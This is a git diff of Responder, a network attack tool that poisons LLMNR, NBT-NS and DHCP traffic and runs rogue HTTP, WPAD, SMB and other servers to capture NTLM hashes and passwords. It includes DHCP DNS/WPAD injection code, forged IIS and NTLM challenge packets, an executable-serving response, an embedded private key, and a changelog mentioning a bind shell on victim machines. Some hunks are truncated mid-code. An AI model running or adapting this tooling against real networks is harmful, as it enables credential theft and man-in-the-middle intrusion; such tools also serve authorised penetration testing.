diff --git a/.gitignore b/.gitignore
new file mode 100644
index 0000000..6fbeb3f
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1,64 @@
+/plugins/old_plugins/
+backdoored/
+# Byte-compiled / optimized / DLL files
+__pycache__/
+*.py[cod]
+
+# C extensions
+*.so
+
+# Distribution / packaging
+.Python
+env/
+build/
+develop-eggs/
+dist/
+downloads/
+eggs/
+.eggs/
+lib/
+lib64/
+parts/
+sdist/
+var/
+*.egg-info/
+.installed.cfg
+*.egg
+
+# PyInstaller
+# Usually these files are written by a python script from a template
+# before PyInstaller builds the exe, so as to inject date/other infos into it.
+*.manifest
+*.spec
+
+# Installer logs
+pip-log.txt
+pip-delete-this-directory.txt
+
+# Unit test / coverage reports
+htmlcov/
+.tox/
+.coverage
+.coverage.*
+.cache
+nosetests.xml
+coverage.xml
+*,cover
+
+# Translations
+*.mo
+*.pot
+
+# Django stuff:
+*.log
+
+# Sphinx documentation
+docs/_build/
+
+# PyBuilder
+target/
+
+# Responder logs
+*.txt
+*.log
+logs/*
diff --git a/CHANGELOG b/CHANGELOG
deleted file mode 100644
index 24cf12b..0000000
--- a/CHANGELOG
+++ /dev/null
@@ -1,67 +0,0 @@
-ChangeLog Responder 2.1.4:
-- Added: FindSMB2UPTime.py
-- Added: FindSQLSrv.py
-- Added: DontRespondTo and DontRespondToName options in Responder.conf
-- Added: Lanman module
-- Added: Analyze mode
-- Added: SMBRelay
-- Removed: Old style options (On/Off). Just use -r instead of -r On.
-- Added [DHCP.py]: in-scope target, windows >= Vista support (-R) and unicast answers only.
-- Added: In-scope llmnr/nbt-ns name option
-- Added: Kerberos hash support
-- Added: DHCP INFORM take over tool (DHCP.py)
-- Added: MDNS Poisoner.
-- Added: -F command line switch to force NTLM authentication on PAC file retrieval.
-- Added: Ability to inject custom HTML in HTTP responses.
-- Added: New WPAD proxy server. Enabled by default.
-- Several improvements.
-- Added: SMTP module
-- Added: POP3 module
-- Added: MSSQL plaintext auth support
-- Added: SMB Relay
-- Added: NBT-NS name is now printed.
-- Added: -I command line switch (network interface). When set, this option override Responder.conf Bind_to setting.
-- Added: Ability to change the HTML payload returned after authentication. See Responder.conf
-- Added: Ability to change the pac script in Responder.conf
-- Added: Configuration file for Responder. See Responder.conf
-- Removed: Several options removed.
-- Added: Bind shell which when executed on a victim workstation, will bind cmd.exe to port 140.
-- Added: -e, --exe, --file option for serving specific files via the HTTP and WPAD server.
-- Added: Ability to bind Responder to a specific interface
-- Fix: Several fixes
-- Added: HTTPS module.
-- Added: Support for LM Hash downgrade.
-- Added: WPAD transparent proxy server.
-- Fix: minor bug fix
-- Fix: Fixed bug in HTTP server.
-- Added: Rogue LDAP auth server. Supports clear text password and NTLMSSP.
-- Added: Ability to turn on/off the DNS server.
-- Added: Icmp-Redirect.py for MITM Windows XP/2003 and earlier Domain members.
-- Added: SMB Clear Text function for NT4 specific.
-- Added: DNS server module.
-- Added: FTP server module.
-- Added: Ability to find the PDC in stealth mode with the Browser listener.
-- Several changes.
-- Removed: -d option (Domain), useless for now.
-- Added: SMB Extended Security NTLMSSP authentication.
-- Added: Fingerprint module.
-- Added: Ability to turn off independently capture services.(mubix)
-- Added: Function to grab HTTP cookies.
-- Fix: Typo in logfile description.
-- Added: Option for logging to a file (ravenium).
-- Added: Basic exception handling for server sockets (ravenium).
-- Added: Logging functionality, now logs all Responder activity to a file with date and time.
-- Added: Print IP address to stdout for each protocol.
-- Improvement: Added new line on Writedata (atucom).
-- Improvement: final Hash is now printed to stdout instead of NT and LM.
-- Fix: Fixed spelling in README (atucom).
-- Fix: Removed hardcoded challenge for SQL NTLM.
-- Fix: Removed hardcoded challenge for HTTP NTLM.
-- Added an HTTP server with support for ntlmv1/v2 and basic Auth.
-- Added command line switch support with optparse.
-- Added -r switch, which allows turning On/Off Wredir answers.
-- Added the possibility to turn off HTTP server using the -s switch.
-- Added LLMNR module.
-- Fixed bug in NTLMv1 hash parsing when clientOs and ClientVersion are
- empty.
-- Several minor changes.
diff --git a/Certs/gen-self-signed-cert.sh b/Certs/gen-self-signed-cert.sh
index e9f3c73..c9b948a 100755
--- a/Certs/gen-self-signed-cert.sh
+++ b/Certs/gen-self-signed-cert.sh
@@ -1,2 +1,3 @@
#!/bin/bash
-openssl genrsa -des3 -out responder.tmp.key 2048&&openssl rsa -in responder.tmp.key -out responder.key&&openssl req -new -key responder.key -out responder.csr&&openssl x509 -req -days 365 -in responder.csr -signkey responder.key -out responder.crt&&rm responder.tmp.key responder.csr
+openssl genrsa -out responder.key 2048
+openssl req -new -x509 -days 3650 -key responder.key -out responder.crt -subj "/"
diff --git a/Certs/responder.crt b/Certs/responder.crt
index ac239e8..86d9172 100644
--- a/Certs/responder.crt
+++ b/Certs/responder.crt
@@ -1,19 +1,18 @@
-----BEGIN CERTIFICATE-----
-MIIDBjCCAe4CCQDDe8Sb2PGjITANBgkqhkiG9w0BAQUFADBFMQswCQYDVQQGEwJB
-VTETMBEGA1UECAwKU29tZS1TdGF0ZTEhMB8GA1UECgwYSW50ZXJuZXQgV2lkZ2l0
-cyBQdHkgTHRkMB4XDTEzMDIyODIwMTcxN1oXDTE0MDIyODIwMTcxN1owRTELMAkG
-A1UEBhMCQVUxEzARBgNVBAgMClNvbWUtU3RhdGUxITAfBgNVBAoMGEludGVybmV0
-IFdpZGdpdHMgUHR5IEx0ZDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
-AMQB5yErm0Sg7sRQbLgbi/hG/8uF2xUzvVKnT4LROEWkkimy9umb2JbvAZITDvSs
-r2xsPA4VoxFjKpWLOv7mAIMBR95NDWsTLuR36Sho/U2LlTlUBdSfQP7rlKQZ0L43
-YpXswdvCCJ0wP2yOhq0i71cg/Nk9mfQxftpgGUxoa+6ljU9hSdmThu2FVgAbSpNl
-D86rk4K9/sGYAY4btMqaMzC7JIKZp07FHL32oM01cKbRoNg2eUuQmoVjca1pkmbO
-Y8qnl7ajOjsiAPQnt/2TMJlRsdoU1fSx76Grgkm8D4gX/pBUqELdpvHtnm/9imPl
-qNGL5La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yqU0
+YWTlixZl0NP6bWJ2W+dzmlqBxugEKYJCPxM0GD+WQDEd0Au4pnhyzt77L0sBgTF8
+koFbkdFsTyX2AHGik5orYyvQqS4jVkCMudBXNLt5iHQsSXIeaOQRtv7LYZJzh335
+4431+r5MIlcxrRA2fhpOAT2ZyKW1TFkmeAMoH7/BTzGlre9AgCcnKBvvGdzJhCyw
+YlRGHrfR6HSkcoEeIV1u/fGU4RX7NO4ugD2wkOhUoGL1BS926WV02c5CugfeKUlW
+HM65lZEkTb+MQnLdpnpW8GRXhXbIrLMLd2pWW60wFhf6Ub/kGJ5bCUTnXYPRcA3v
+u0/CRCN/lg==
-----END CERTIFICATE-----
diff --git a/Certs/responder.key b/Certs/responder.key
index 2b7cbc0..f112a74 100644
--- a/Certs/responder.key
+++ b/Certs/responder.key
@@ -1,27 +1,27 @@
-----BEGIN RSA PRIVATE KEY-----
-MIIEowIBAAKCAQEAxAHnISubRKDuxFBsuBuL+Eb/y4XbFTO9UqdPgtE4RaSSKbL2
-6ZvYlu8BkhMO9KyvbGw8DhWjEWMqlYs6/uYAgwFH3k0NaxMu5HfpKGj9TYuVOVQF
-1J9A/uuUpBnQvjdilezB28IInTA/bI6GrSLvVyD82T2Z9DF+2mAZTGhr7qWNT2FJ
-2ZOG7YVWABtKk2UPzquTgr3+wZgBjhu0ypozMLskgpmnTsUcvfagzTVwptGg2DZ5
-S5CahWNxrWmSZs5jyqeXtqM6OyIA9Ce3/ZMwmVGx2hTV9LHvoauCSbwPiBf+kFSo
-Qt2m8e2eb/2KY+Wo0YvktpbwBGAbXpTSZGG62QIDAQABAoIBABbuLg74XgLKXQSE
-cCOdvWM/Ux+JOlchpW1s+2VPeqjTFvJf6Hjt7YnCzkk7h41iQmeJxgDT0S7wjgPO
-tQkq+TZaSQEdvIshRGQgDxvWJIQU51E8ni4Ar4bjIpGMH5qROixV9VvzODTDdzgI
-+IJ6ystDpbD4fvFNdQyxH2SL9syFRyWyxY3vWB0C/OHWxGFtiTtmeivB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r+I0cQtvSDEjKc/5/YMje
+ldQN+4Z82RRkwYshsKBTEXb6HRwMrwIhGxCq8LF59imMUkYrRSjFhcXFSrZgasr2
+VVz0G4wGf7+flt1nv7GCO5X+uW1OxJUC64mWO6vGH2FfgG0Ed9Tg3x1rY9V6hdes
+AiOEslKIFjjpRhpwMYra6QKBgQDLFO/SY9f2oI/YZff8PMhQhL1qQb7aYeIjlL35
+HM8e4k10u+RxN06t8d+frcXyjXvrrIjErIvBY/kCjdlXFQGDlbOL0MziQI66mQtf
+VGPFmbt8vpryfpCKIRJRZpInhFT2r0WKPCGiMQeV0qACOhDjrQC+ApXODF6mJOTm
+kaWQ5QKBgHE0pD2GAZwqlvKCM5YmBvDpebaBNwpvoY22e2jzyuQF6cmw85eAtp35
+f92PeuiYyaXuLgL2BR4HSYSjwggxh31JJnRccIxSamATrGOiWnIttDsCB5/WibOp
+MKuFj26d01imFixufclvZfJxbAvVy4H9hmyjgtycNY+Gp5/CLgDC
-----END RSA PRIVATE KEY-----
diff --git a/DHCP.py b/DHCP.py
index 1828ef7..606dcbc 100755
--- a/DHCP.py
+++ b/DHCP.py
@@ -20,36 +20,24 @@ from odict import OrderedDict
from socket import inet_aton, inet_ntoa
-parser = optparse.OptionParser(usage='python %prog -I eth0 -i 10.20.30.40 -d pwned.com -p 10.20.30.40 -s 10.20.30.1 -r 10.20.40.1',
- prog=sys.argv[0],
- )
-parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="OURIP")
-
+parser = optparse.OptionParser(usage='python %prog -I eth0 -i 10.20.30.40 -d pwned.com -p 10.20.30.40 -s 10.20.30.1 -r 10.20.40.1', prog=sys.argv[0],)
+parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="Responder_IP")
parser.add_option('-d', '--dnsname',action="store", help="DNS name to inject, if you don't want to inject a DNS server, provide the original one.", metavar="pwned.com", default="pwned.com",dest="DNSNAME")
-
parser.add_option('-r', '--router',action="store", help="The ip address of the router or yours if you want to intercept traffic.", metavar="10.20.1.1",dest="RouterIP")
-
parser.add_option('-p', '--primary',action="store", help="The ip address of the original primary DNS server or yours", metavar="10.20.1.10",dest="DNSIP")
-
parser.add_option('-s', '--secondary',action="store", help="The ip address of the original secondary DNS server or yours", metavar="10.20.1.11",dest="DNSIP2")
-
parser.add_option('-n', '--netmask',action="store", help="The netmask of this network", metavar="255.255.255.0", default="255.255.255.0", dest="Netmask")
-
parser.add_option('-I', '--interface',action="store", help="Interface name to use, example: eth0", metavar="eth0",dest="Interface")
-
parser.add_option('-w', '--wpadserver',action="store", help="Your WPAD server, finish the string with '\\n'", metavar="\"http://wpadsrv/wpad.dat\\n\"", default="\n", dest="WPAD")
-
parser.add_option('-S',action="store_true", help="Spoof the router ip address",dest="Spoof")
-
parser.add_option('-R',action="store_true", help="Respond to DHCP Requests, inject linux clients (very noisy, this is sent on 255.255.255.255)", dest="Request")
-
options, args = parser.parse_args()
def ShowWelcome():
Message = 'DHCP INFORM Take Over 0.2\nAuthor: Laurent Gaffie\nPlease send bugs/comments/pcaps to: lgaffie@trustwave.com\nBy default, this script will only inject a new DNS/WPAD server to a Windows <= XP/2003 machine.\nTo inject a DNS server/domain/route on a Windows >= Vista and any linux box, use -R (can be noisy)\n\033[1m\033[31mUse Responder.conf\'s RespondTo setting for in-scope only targets\033[0m\n'
print Message
-if options.OURIP is None:
+if options.Responder_IP is None:
print "\n\033[1m\033[31m-i mandatory option is missing, please provide your IP address.\033[0m\n"
parser.print_help()
exit(-1)
@@ -84,10 +72,10 @@ RespondTo = config.get('Responder Core', 'RespondTo').strip()
#Setting some vars
Interface = options.Interface
-OURIP = options.OURIP
+Responder_IP = options.Responder_IP
ROUTERIP = options.RouterIP
NETMASK = options.Netmask
-DHCPSERVER = options.OURIP
+DHCPSERVER = options.Responder_IP
DNSIP = options.DNSIP
DNSIP2 = options.DNSIP2
DNSNAME = options.DNSNAME
@@ -102,7 +90,7 @@ def SpoofIP(Spoof):
if Spoof:
return ROUTERIP
else:
- return OURIP
+ return Responder_IP
def RespondToSpecificHost(RespondTo):
if len(RespondTo)>=1 and RespondTo != ['']:
diff --git a/FindSMB2UPTime.py b/FindSMB2UPTime.py
index 46346a4..1fa855e 100755
--- a/FindSMB2UPTime.py
+++ b/FindSMB2UPTime.py
@@ -53,6 +53,8 @@ def NbtLen(data):
Len = struct.pack(">i", len(data))
return Len
+from packets import SMBHeader
+"""
class SMBHeader(Packet):
fields = OrderedDict([
("Proto", "\xff\x53\x4d\x42"),
@@ -68,6 +70,7 @@ class SMBHeader(Packet):
("UID", "\x00\x00"),
("MID", "\x00\x00"),
])
+"""
class SMBNego(Packet):
fields = OrderedDict([
diff --git a/Fingerprint.py b/Fingerprint.py
index 29a7837..e3ca02c 100644
--- a/Fingerprint.py
+++ b/Fingerprint.py
@@ -15,120 +15,55 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see .
-import re,sys,socket,struct,string
-from socket import *
+import re
+import sys
+import socket
+import struct
+import string
+import logging
+
+from utils import *
from odict import OrderedDict
-
-class Packet():
- fields = OrderedDict([
- ("data", ""),
- ])
- def __init__(self, **kw):
- self.fields = OrderedDict(self.__class__.fields)
- for k,v in kw.items():
- if callable(v):
- self.fields[k] = v(self.fields[k])
- else:
- self.fields[k] = v
- def __str__(self):
- return "".join(map(str, self.fields.values()))
-
-def longueur(payload):
- length = struct.pack(">i", len(''.join(payload)))
- return length
-
-class SMBHeader(Packet):
- fields = OrderedDict([
- ("proto", "\xff\x53\x4d\x42"),
- ("cmd", "\x72"),
- ("error-code", "\x00\x00\x00\x00" ),
- ("flag1", "\x00"),
- ("flag2", "\x00\x00"),
- ("pidhigh", "\x00\x00"),
- ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
- ("reserved", "\x00\x00"),
- ("tid", "\x00\x00"),
- ("pid", "\x00\x00"),
- ("uid", "\x00\x00"),
- ("mid", "\x00\x00"),
- ])
-
-class SMBNego(Packet):
- fields = OrderedDict([
- ("wordcount", "\x00"),
- ("bcc", "\x62\x00"),
- ("data", "")
- ])
-
- def calculate(self):
- self.fields["bcc"] = struct.pack("i", len(''.join(Packet)))+Packet
+ s.send(Buffer)
+ data = s.recv(2048)
+
+ if data[8:10] == "\x72\x00":
+ Header = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00")
+ Body = SMBSessionFingerData()
+ Body.calculate()
+
+ Packet = str(Header)+str(Body)
+ Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
+
+ s.send(Buffer)
+ data = s.recv(2048)
+
+ if data[8:10] == "\x73\x16":
+ return OsNameClientVersion(data)
+ except:
+ print color("[*] ", 1, 1) +" Fingerprint failed"
+ return None
diff --git a/FingerprintRelay.py b/FingerprintRelay.py
deleted file mode 100644
index f9ec48f..0000000
--- a/FingerprintRelay.py
+++ /dev/null
@@ -1,132 +0,0 @@
-#! /usr/bin/env python
-# NBT-NS/LLMNR Responder
-# Created by Laurent Gaffie
-# Copyright (C) 2014 Trustwave Holdings, Inc.
-#
-# This program is free software: you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation, either version 3 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program. If not, see .
-import re,socket,struct
-from socket import *
-from odict import OrderedDict
-
-class Packet():
- fields = OrderedDict([
- ("data", ""),
- ])
- def __init__(self, **kw):
- self.fields = OrderedDict(self.__class__.fields)
- for k,v in kw.items():
- if callable(v):
- self.fields[k] = v(self.fields[k])
- else:
- self.fields[k] = v
- def __str__(self):
- return "".join(map(str, self.fields.values()))
-
-def longueur(payload):
- length = struct.pack(">i", len(''.join(payload)))
- return length
-
-class SMBHeader(Packet):
- fields = OrderedDict([
- ("proto", "\xff\x53\x4d\x42"),
- ("cmd", "\x72"),
- ("error-code", "\x00\x00\x00\x00" ),
- ("flag1", "\x00"),
- ("flag2", "\x00\x00"),
- ("pidhigh", "\x00\x00"),
- ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
- ("reserved", "\x00\x00"),
- ("tid", "\x00\x00"),
- ("pid", "\x00\x00"),
- ("uid", "\x00\x00"),
- ("mid", "\x00\x00"),
- ])
-
-class SMBNego(Packet):
- fields = OrderedDict([
- ("wordcount", "\x00"),
- ("bcc", "\x62\x00"),
- ("data", "")
- ])
-
- def calculate(self):
- self.fields["bcc"] = struct.pack(".
-import struct
-from odict import OrderedDict
-from base64 import b64decode,b64encode
-
-class Packet():
- fields = OrderedDict([
- ("data", ""),
- ])
- def __init__(self, **kw):
- self.fields = OrderedDict(self.__class__.fields)
- for k,v in kw.items():
- if callable(v):
- self.fields[k] = v(self.fields[k])
- else:
- self.fields[k] = v
- def __str__(self):
- return "".join(map(str, self.fields.values()))
-
-
-#HTTP Packet used for further NTLM auth.
-class IIS_Auth_401_Ans(Packet):
- fields = OrderedDict([
- ("Code", "HTTP/1.1 401 Unauthorized\r\n"),
- ("ServerType", "Server: Microsoft-IIS/6.0\r\n"),
- ("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
- ("Type", "Content-Type: text/html\r\n"),
- ("WWW-Auth", "WWW-Authenticate: NTLM\r\n"),
- ("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
- ("Len", "Content-Length: 0\r\n"),
- ("CRLF", "\r\n"),
- ])
-
-#HTTP Packet Granted auth.
-class IIS_Auth_Granted(Packet):
- fields = OrderedDict([
- ("Code", "HTTP/1.1 200 OK\r\n"),
- ("ServerType", "Server: Microsoft-IIS/6.0\r\n"),
- ("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
- ("Type", "Content-Type: text/html\r\n"),
- ("WWW-Auth", "WWW-Authenticate: NTLM\r\n"),
- ("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
- ("ContentLen", "Content-Length: "),
- ("ActualLen", "76"),
- ("CRLF", "\r\n\r\n"),
- ("Payload", "\n\n\n\n
\n\n\n"),
- ])
- def calculate(self):
- self.fields["ActualLen"] = len(str(self.fields["Payload"]))
-
-#HTTP NTLM Auth
-class NTLM_Challenge(Packet):
- fields = OrderedDict([
- ("Signature", "NTLMSSP"),
- ("SignatureNull", "\x00"),
- ("MessageType", "\x02\x00\x00\x00"),
- ("TargetNameLen", "\x06\x00"),
- ("TargetNameMaxLen", "\x06\x00"),
- ("TargetNameOffset", "\x38\x00\x00\x00"),
- ("NegoFlags", "\x05\x02\x89\xa2"),
- ("ServerChallenge", ""),
- ("Reserved", "\x00\x00\x00\x00\x00\x00\x00\x00"),
- ("TargetInfoLen", "\x7e\x00"),
- ("TargetInfoMaxLen", "\x7e\x00"),
- ("TargetInfoOffset", "\x3e\x00\x00\x00"),
- ("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"),
- ("TargetNameStr", "SMB"),
- ("Av1", "\x02\x00"),#nbt name
- ("Av1Len", "\x06\x00"),
- ("Av1Str", "SMB"),
- ("Av2", "\x01\x00"),#Server name
- ("Av2Len", "\x14\x00"),
- ("Av2Str", "SMB-TOOLKIT"),
- ("Av3", "\x04\x00"),#Full Domain name
- ("Av3Len", "\x12\x00"),
- ("Av3Str", "smb.local"),
- ("Av4", "\x03\x00"),#Full machine domain name
- ("Av4Len", "\x28\x00"),
- ("Av4Str", "server2003.smb.local"),
- ("Av5", "\x05\x00"),#Domain Forest Name
- ("Av5Len", "\x12\x00"),
- ("Av5Str", "smb.local"),
- ("Av6", "\x00\x00"),#AvPairs Terminator
- ("Av6Len", "\x00\x00"),
- ])
-
- def calculate(self):
- ##First convert to uni
- self.fields["TargetNameStr"] = self.fields["TargetNameStr"].encode('utf-16le')
- self.fields["Av1Str"] = self.fields["Av1Str"].encode('utf-16le')
- self.fields["Av2Str"] = self.fields["Av2Str"].encode('utf-16le')
- self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le')
- self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le')
- self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le')
-
- ##Then calculate
- CalculateNameOffset = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])
-
- CalculateAvPairsOffset = CalculateNameOffset+str(self.fields["TargetNameStr"])
-
- CalculateAvPairsLen = str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
-
- # Target Name Offsets
- self.fields["TargetNameOffset"] = struct.pack(".
-import struct
-from odict import OrderedDict
-from base64 import b64decode,b64encode
-
-class Packet():
- fields = OrderedDict([
- ("data", ""),
- ])
- def __init__(self, **kw):
- self.fields = OrderedDict(self.__class__.fields)
- for k,v in kw.items():
- if callable(v):
- self.fields[k] = v(self.fields[k])
- else:
- self.fields[k] = v
- def __str__(self):
- return "".join(map(str, self.fields.values()))
-
-#WPAD script. the wpadwpadwpad is shorter than 15 chars and unlikely to be found.
-class WPADScript(Packet):
- fields = OrderedDict([
- ("Code", "HTTP/1.1 200 OK\r\n"),
- ("ServerType", "Server: Microsoft-IIS/6.0\r\n"),
- ("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
- ("Type", "Content-Type: application/x-ns-proxy-autoconfig\r\n"),
- ("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
- ("ContentLen", "Content-Length: "),
- ("ActualLen", "76"),
- ("CRLF", "\r\n\r\n"),
- ("Payload", "function FindProxyForURL(url, host){return 'PROXY wpadwpadwpad:3141; DIRECT';}"),
- ])
- def calculate(self):
- self.fields["ActualLen"] = len(str(self.fields["Payload"]))
-
-class ServerExeFile(Packet):
- fields = OrderedDict([
- ("Code", "HTTP/1.1 200 OK\r\n"),
- ("ContentType", "Content-Type: application/octet-stream\r\n"),
- ("LastModified", "Last-Modified: Wed, 24 Nov 2010 00:39:06 GMT\r\n"),
- ("AcceptRanges", "Accept-Ranges: bytes\r\n"),
- ("Server", "Server: Microsoft-IIS/7.5\r\n"),
- ("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
- ("ContentLen", "Content-Length: "),
- ("ActualLen", "76"),
- ("Date", "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"),
- ("Connection", "Connection: keep-alive\r\n"),
- ("X-CCC", "US\r\n"),
- ("X-CID", "2\r\n"),
- ("CRLF", "\r\n"),
- ("Payload", "jj"),
- ])
- def calculate(self):
- self.fields["ActualLen"] = len(str(self.fields["Payload"]))
-
-class ServeAlwaysExeFile(Packet):
- fields = OrderedDict([
- ("Code", "HTTP/1.1 200 OK\r\n"),
- ("ContentType", "Content-Type: application/octet-stream\r\n"),
- ("LastModified", "Last-Modified: Wed, 24 Nov 2010 00:39:06 GMT\r\n"),
- ("AcceptRanges", "Accept-Ranges: bytes\r\n"),
- ("Server", "Server: Microsoft-IIS/7.5\r\n"),
- ("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
- ("ContentDisp", "Content-Disposition: attachment; filename="),
- ("ContentDiFile", ""),
- ("FileCRLF", ";\r\n"),
- ("ContentLen", "Content-Length: "),
- ("ActualLen", "76"),
- ("Date", "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"),
- ("Connection", "Connection: keep-alive\r\n"),
- ("X-CCC", "US\r\n"),
- ("X-CID", "2\r\n"),
- ("CRLF", "\r\n"),
- ("Payload", "jj"),
- ])
- def calculate(self):
- self.fields["ActualLen"] = len(str(self.fields["Payload"]))
-
-class ServeAlwaysNormalFile(Packet):
- fields = OrderedDict([
- ("Code", "HTTP/1.1 200 OK\r\n"),
- ("ContentType", "Content-Type: text/html\r\n"),
- ("LastModified", "Last-Modified: Wed, 24 Nov 2010 00:39:06 GMT\r\n"),
- ("AcceptRanges", "Accept-Ranges: bytes\r\n"),
- ("Server", "Server: Microsoft-IIS/7.5\r\n"),
- ("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
- ("ContentLen", "Content-Length: "),
- ("ActualLen", "76"),
- ("Date", "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"),
- ("Connection", "Connection: keep-alive\r\n"),
- ("X-CCC", "US\r\n"),
- ("X-CID", "2\r\n"),
- ("CRLF", "\r\n"),
- ("Payload", "jj"),
- ])
- def calculate(self):
- self.fields["ActualLen"] = len(str(self.fields["Payload"]))
-
-#HTTP Packet used for further NTLM auth.
-class IIS_Auth_407_Ans(Packet):
- fields = OrderedDict([
- ("Code", "HTTP/1.1 407 Authentication Required\r\n"),
- ("Via", "Via: 1.1 SMB-TOOLKIT\r\n"),
- ("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
- ("Type", "Content-Type: text/html\r\n"),
- ("WWW-Auth", "Proxy-Authenticate: NTLM\r\n"),
- ("Connection", "Connection: close \r\n"),
- ("PConnection", "proxy-Connection: close \r\n"),
- ("Len", "Content-Length: 0\r\n"),
- ("CRLF", "\r\n"),
- ])
-
-#HTTP NTLM packet.
-class IIS_407_NTLM_Challenge_Ans(Packet):
- fields = OrderedDict([
- ("Code", "HTTP/1.1 407 Authentication Required\r\n"),
- ("Via", "Via: 1.1 SMB-TOOLKIT\r\n"),
- ("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
- ("Type", "Content-Type: text/html\r\n"),
- ("WWWAuth", "Proxy-Authenticate: NTLM "),
- ("Payload", ""),
- ("Payload-CRLF", "\r\n"),
- ("PoweredBy", "X-Powered-By: SMB-TOOLKIT\r\n"),
- ("Len", "Content-Length: 0\r\n"),
- ("CRLF", "\r\n"),
- ])
-
- def calculate(self,payload):
- self.fields["Payload"] = b64encode(payload)
-
-#HTTP Basic answer packet.
-class IIS_Basic_407_Ans(Packet):
- fields = OrderedDict([
- ("Code", "HTTP/1.1 407 Unauthorized\r\n"),
- ("ServerType", "Server: Microsoft-IIS/6.0\r\n"),
- ("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
- ("Type", "Content-Type: text/html\r\n"),
- ("WWW-Auth", "Proxy-Authenticate: Basic realm=\"ISAServer\"\r\n"),
- ("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
- ("Len", "Content-Length: 0\r\n"),
- ("CRLF", "\r\n"),
- ])
diff --git a/IMAPPackets.py b/IMAPPackets.py
deleted file mode 100644
index 51f13e8..0000000
--- a/IMAPPackets.py
+++ /dev/null
@@ -1,55 +0,0 @@
-#! /usr/bin/env python
-# NBT-NS/LLMNR Responder
-# Created by Laurent Gaffie
-# Copyright (C) 2014 Trustwave Holdings, Inc.
-#
-# This program is free software: you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation, either version 3 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program. If not, see .
-import struct
-from odict import OrderedDict
-
-class Packet():
- fields = OrderedDict([
- ("data", ""),
- ])
- def __init__(self, **kw):
- self.fields = OrderedDict(self.__class__.fields)
- for k,v in kw.items():
- if callable(v):
- self.fields[k] = v(self.fields[k])
- else:
- self.fields[k] = v
- def __str__(self):
- return "".join(map(str, self.fields.values()))
-
-#IMAP4 Greating class
-class IMAPGreating(Packet):
- fields = OrderedDict([
- ("Code", "* OK IMAP4 service is ready."),
- ("CRLF", "\r\n"),
- ])
-
-#IMAP4 Capability class
-class IMAPCapability(Packet):
- fields = OrderedDict([
- ("Code", "* CAPABILITY IMAP4 IMAP4rev1 AUTH=PLAIN"),
- ("CRLF", "\r\n"),
- ])
-
-#IMAP4 Capability class
-class IMAPCapabilityEnd(Packet):
- fields = OrderedDict([
- ("Tag", ""),
- ("Message", " OK CAPABILITY completed."),
- ("CRLF", "\r\n"),
- ])
diff --git a/Icmp-Redirect.py b/Icmp-Redirect.py
index 98e1355..f94af20 100644
--- a/Icmp-Redirect.py
+++ b/Icmp-Redirect.py
@@ -26,7 +26,7 @@ from pipes import quote
parser = optparse.OptionParser(usage='python %prog -I eth0 -i 10.20.30.40 -g 10.20.30.254 -t 10.20.30.48 -r 10.20.40.1',
prog=sys.argv[0],
)
-parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="OURIP")
+parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="Responder_IP")
